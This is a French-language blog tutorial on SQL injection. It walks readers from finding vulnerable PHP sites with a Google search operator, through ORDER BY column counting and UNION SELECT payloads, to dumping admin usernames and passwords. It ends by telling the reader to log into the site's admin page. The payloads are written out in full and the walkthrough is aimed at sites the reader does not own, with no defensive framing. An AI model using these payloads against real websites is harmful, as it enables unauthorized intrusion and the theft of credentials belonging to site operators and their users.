Post Populaire




                              Injection SQL

1) Comment reconnaitre qu'un site est vulnérable a un SQL ?

Commencons ce tuto en force !
Prénons un exemple d'un site par exemple:

http://www.site-exemple.com/news.php?id=9
Maintenant, il faudra tester si ce site est vulnérable par SQL, c'est simple , nous ajoutons un ' OU *( quote ) et donc l'exemple deviendra :
http://www.site-exemple.com/news.php?id=9' <= quote ajouté ! Pour trouver des sites sur Google, tapez dans la barre de recherche de Google par exemple: inurl:news.php?id= Une fois que vous avez trouvé votre site, si vous appercevez une erreur du genre: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..." Ou une erreur de cet exemple, cela signifie que ce site est vulnérable par SQL. ^^ =============>

2) Trouver le nombre de columns.

Pour trouver le nombre de columns , on utilisera " ORDER BY " qui demande a la base un résultat.

Donc maintenant, comment on utilise cela? Eh bien simplement augmenter le nombre jusqu'à ce que nous obtenons une erreur comme dans l'exemple ci-dessous:

http://www.site-exemple.com/news.php?id=9 order by 1 <-- no error
http://www.site-exemple.com/news.php?id=9 order by 2 <-- no error
http://www.site-exemple.com/news.php?id=9 order by 3 <-- no error
http://www.site-exemple.com/news.php?id=9 order by 4 <-- error (une erreur du genre: Unknown column '4' in 'order clause' ou un truc de ce genre s'affichera)
Cela signifie que l'on dispose de 3 colonnes, car nous avons reçu une cause d'erreur sur 4. =============>

3) Utiliser la fonction UNION.

Passons aux choses un peux plus dure..
Avec la fonction UNION, nous avons la possibilité de sélectionner plusieurs données en un seul SQL a la fois.
Donc nous aurons:
http://www.site-exemple.com/news.php?id=9 union all select 1,2,3-- (nous avons deja trouver que le nombre de column est bien 3 , revoir la section (Chapitre I , cours : 2).

=============>

4) Trouver la version du MySQL.
Disons que nous avons le numero 2 , maintenant il faudra connaitre la version MySQL , pour cela nous allons remplacer le numero 2 par @@version ou version() et nous aurons quelques choses du genre: 4.1.33-log or 5.0.45 ou du meme type...

alors l'exemple sera:
http://www.site-exemple.com/news.php?id=9 union all select 1,@@version,3--
Bingo , la version du MySQL est devant vos yeux Smile

=============>

5) Trouver les noms des columns et tables et l'exploitation.

Maintenant si la version est < 5 ( 4.1.33, 4.1.12...) , vous devez savoir que les noms de table commun pour cette version sont: user/s , admin/s , member/s .........
pour les columns c'est: username , user, usr, user_name, password, pass, passwd, pwd ....

Passons a son exploitation:

Cherchons la table d'admin:

http://www.site-exemple.com/news.php?id=9 union all select 1,2,3 from admin--
Si vous appercevez le numero 2 , alors cela signifie que vous venez de trouver la table d'admin et qu'il existe...

Cherchons les noms des columns:

http://www.site-exemple.com/news.php?id=9 union all select 1,username,3 from admin-- (si vous avez une erreur ici , alors essayer un autre nom de column)
Si nous avons le nom d'utilisateur qui s'affiche à l'écran, par exemple, être admin ou superadmin etc alors c'est bon...

Maintenant pour la column de mot de passe,

http://www.site-exemple.com/news.php?id=9 union all select 1,password,3 from admin-- (si vous avez une erreur ici , alors essayer un autre nom de column)
Si nous avons le password a l'écran du type hash ou sans, alors c'est bon, le type varie en fonction de la base de donnée

Il ne reste donc plus qu'a les mettre ensemble avec 0x3a , qui est une valeur de hex pour la colonne.

http://www.site-exemple.com/news.php?id=9 union all select 1,concat(username,0x3a,password),3 from admin--

Vous allez voir quelques choses du genre:
username:password , admin:admin , admin:unhash.

Plus qu'a trouver le page admin du site et vous logguer.

- sebdelkil 2009-2015 - Aucun droit réservé -